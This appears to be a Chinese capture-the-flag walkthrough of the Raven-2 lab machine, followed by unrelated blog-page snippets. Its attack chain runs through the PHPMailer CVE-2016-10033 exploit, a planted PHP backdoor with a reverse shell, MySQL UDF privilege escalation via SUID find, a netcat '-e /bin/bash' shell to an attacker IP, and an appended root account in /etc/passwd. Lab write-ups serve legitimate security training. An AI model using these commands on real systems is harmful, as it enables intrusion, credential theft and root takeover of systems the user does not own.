实战流程

1,C段扫描,并发现目标ip是192.168.186.141

nmap -sP 192.168.186.0/24

扫描目标主机全端口

nmap -p- 192.168.186.141

访问80端口的页面

2,目录爆破

dirb 192.168.186.141

枚举发现该目录:

==> DIRECTORY: http://192.168.186.141/vendor/

http://10.211.55.10/vendor/PATH 第二个目录获得flag:

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

3、http://10.211.55.10/vendor/README.md

枚举获得信息:PHPMailer

http://10.211.55.10/vendor/VERSION

枚举获得信息:5.2.16

这时候去找EXP!

4、谷歌:PHPMailer 5.2.16 exp

CVE-2016-10033

点击第一条就能发现:https://www.exploit-db.com/exploits/40974

searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/whoami/poc

将exp考出,需要针对PHPMailer修改参数:

41行:改下地址:http://192.168.186.141/contact.php
42行:后门名称:/heiyu.php
44行:改下回弹的IP和端口 192.168.186.130 6666
47行:改下写入shell的目录:/var/www/html/heiyu.php

5、执行exp

python3 40974.py

tips:

如果环境报错按照环境安装:

需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

访问http://192.168.186.141/contact.php,此时就会生成后门文件heiyu.php

本地开启监听:nc -vlp 6666
访问:http://192.168.186.141/heiyu.php

获得反弹shell!

python -c 'import pty;pty.spawn("/bin/bash")'

6、找寻flag

find / -name flag*

发现两个flag!读取:

cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

访问:

http://192.168.186.141/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3!

7、wordpress目录枚举

在flag3目录下发现了wordpress目录,然后进行枚举

grep "内容" -rn
grep "password" -rn wp-config.php

进入查看

define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
获得mysql账号密码信息!

查看mysql进程信息

ps aux | grep root

查看历史安装包版本
dpkg -l | grep mysql
5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法.

8、mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!

mysql -uroot -pR@v3nSecurity
select version(); ---查看版本 show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

首先看一下是否满足写入条件:

show global variables like 'secure%';

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';

查看能否远程登陆:

use mysql;
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf

https://www.exploit-db.com/exploits/1518

searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/whoami/poc

exp编译执行

gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o heiyu.so 1518.o -lc

攻击机开启http服务

目标机进入tmp目录,并下载heiyu.so文件

show databases;
use mysql
select database();
进入数据库创建数据表heiyu:
create table heiyu(line blob);
查看表;
desc heiyu;
插入数据文件:
insert into heiyu values(load_file('/tmp/heiyu.so'));

heiyu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'heiyu.so';

查看以下创建的函数:

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

执行find命令

使用find执行 shell

touch heiyu
find heiyu -exec "/bin/sh" \;
或者:find heiyu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
搞定!

扩展知识点

拓展知识点:或者利用sys_exec、sys_eval

select do_system('nc -nv 192.168.186.130 6677 -e /bin/bash');

-------------------
openssl passwd heiyu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su heiyu ------------------------
仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg
-------------------
cewl http://10.211.55.10/wordpress/ -w user.txt
git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
cd CVE-2018-15473-Exploit/ pip3 install -r requirements.txt
proxychains pip3 install --upgrade paramiko==2.4.1
--------------
如果可以远程:
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell

脑图

【原创】项目三Raven-2的更多相关文章

  1. 在Tomcat下部属项目三种方式:

    在Tomcat下部属项目三种方式:       1直接复制:       2. 通过配置虚拟路径的方式    直接修改配置文件 写到tomcat/conf/server.xml     找到<H ...

  2. android 实践项目三

    android 实践项目三 本周我主要完成的任务是将代码进行整合,然后实现百度地图的定位与搜索功能.在这次实现的 图形界面如下: 在本周的工作中主要的实现出来定位与收索的功能,在地图中能实现了定位,显 ...

  3. crm 系统项目(三) 自动分页

    crm 系统项目(三) 自动分页 需求: 1. 做一个自动分页, 每15条数据1页 2. 让当前页数在中间显示 3. 上一页, 下一页 注意情况: 1.总页数 小于 规定显示的页数 2. 左右两边极值 ...

  4. Java实验项目三——职工类对象数组按照职工生日排序

    Program: 修改项目三(1)中的第3题,实现比较方法,将对象数组的数据按照生日的大小给职工排序. Description:令日期类MyDate和员工类Worker类实现接口Comparable, ...

  5. Weblogic部署项目三种方式

    在weblogic中部署项目通常有三种方式:第一,在控制台中安装部署:第二,将部署包放在domain域中autodeploy目录下部署:第三,使用域中配置文件config.xml 进行项目的部署. 控 ...

  6. 【原创】三分钟教你学会MVC框架——基于java web开发(2)

    没想到我的上一篇博客有这么多人看,还有几位看完之后给我留言加油,不胜感激,备受鼓励,啥都别说了,继续系列文章之第二篇.(如果没看过我第一篇博客的朋友,可以到我的主页上先浏览完再看这篇文章,以免上下文对 ...

  7. tomcat deploy部署项目三种方法

    1.将应用文件夹或war文件直接copy到tomcat的webapps目录下,这样tomcat启动的时候会将webapps目录下的文件夹或war文件的内容当成应用部署.这种方式最简单且无须书写任何配置 ...

  8. 十二周项目三(4)——出口fibnacci第一序列20的数量

    /* * Copyright (c) 2014, 烟台大学计算机学院 * All rights reserved. * 文件名:test.cpp * 作者:陈丹妮 * 完毕日期:2014年 11 月 ...

  9. docker部署项目 <三>

    使用docker运行一个控制台项目,新建一个控制台测试项目 一.安装mono,直接在网易镜像中心找下载路径 docker pull hub.c..com/library/mono:latest 二.安 ...

随机推荐

  1. 使用cookie/session实现简单的用户信息的保存

    cookie一般用来存储非关键信息 , 用户名和密码等敏感信息一般采用session 来存储:cookie和session的最大区别是当服务器端存储session 之后,用户再次请求时候只是请求了一个 ...

  2. css过渡效果和盒子缩放大小的结合

    给盒子一个鼠标经过时放大里面的图片效果在css中使用过渡效果transition结合 <html lang="en"> <head> <meta ch ...

  3. 记一次使用git报错,解决Unable to negotiate with **** port 22: no matching host key type found. Their offer: ssh-rsa

    windows电脑重装系统,去官网下载了最新的git安装,一路next下来,打开bash按老路子设置,生成公钥 git config --global user.name "yourname ...

  4. php代码审计之——phpstorm动态调试

    xdebug调试 调试环境部署 xdebug的版本需要与PHP版本相对于,所以不要轻易改变PHP环境版本. 0 配置php解析器 1 下载对应版本的xdebug xdebug官网下载地址:https: ...

  5. 使用 Jenkins 进行持续集成与发布流程图-图解

  6. Spring核心 IoC和AOP原理

    1. 什么是Spring Spring是一个轻量的Java开源框架,它简化了应用开发,实现基于POJO的编程模型.它的两大核心是:IoC(控制反转),AOP(面向切面编程). 2. IoC控制反转 简 ...

  7. OpenHarmony 3.1 Beta版本关键特性解析——探秘隐式查询

    ​(以下内容来自开发者分享,不代表 OpenHarmony 项目群工作委员会观点)​ 徐浩 隐式查询是 OpenAtom OpenHarmony(以下简称"OpenHarmony" ...

  8. 001_iBase4J学习之环境搭建

    目录 序言 正文 第一关.拉取项目 第二关.导入数据库 第三关.修改 JDBC 配置文件 第四关.环境搭建,修改 nginx 设置 第五关.添加地址白名单 尾声 序言 大家好,我是白墨! 本次的目标是 ...

  9. 2022.02.27 CF811E Vladik and Entertaining Flags

    2022.02.27 CF811E Vladik and Entertaining Flags https://www.luogu.com.cn/problem/CF811E Step 1 题意 在一 ...

  10. Vue生产环境调试的方法

    vue 生产环境默认是无法启用vue devtools的,如果生产应用出了问题,就很难解决.. 原理 先说下vue如何判断devtools是否可用的. vue devtools扩展组件会在window ...